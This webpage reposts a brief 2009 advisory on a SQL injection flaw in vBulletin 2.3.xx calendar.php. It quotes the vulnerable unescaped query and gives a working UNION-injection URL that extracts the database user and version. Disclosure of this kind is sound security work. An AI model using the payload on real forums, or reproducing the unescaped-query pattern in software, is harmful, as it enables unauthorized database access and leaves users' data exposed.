繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection
- PHP
- 黑客隐藏PHP文件后门的技巧
- 新手通过实例学习动态网页PHP的语法
- 使用PHP生成1000个随机注册码
- 用PHP5的SimpleXML解析XML文档
- PHP程序中使用session错误调试问题
- 简单学习动态网页制作PHP中的Cookies
- 取得当前插入数据库中记录的id值
- 显示照片exif信息PHP代码
- 在PHP中使用灵巧的体系结构
- 5种方法让您成为php开发高手
- PHP编程中break及continue两个流程控制指令
- PHP空白页面常见原因及解决方法
- 面向搜索引擎的URL优化
- 一个完整、安全的用户登录系统
- 有效防御PHP木马攻击的技巧
- 坏狼的PHP学习第1天！
- 坏狼的php学习第2天
- 坏狼的php学习第3天
- 简单站内HTML文件搜索程序
- 用PHP画一个可以更换文字的按纽
PHP 中的 vBulletin Forum 2.3.xx SQL Injection
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 99 ::
收藏到网摘: n/a
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
评论 (0) All
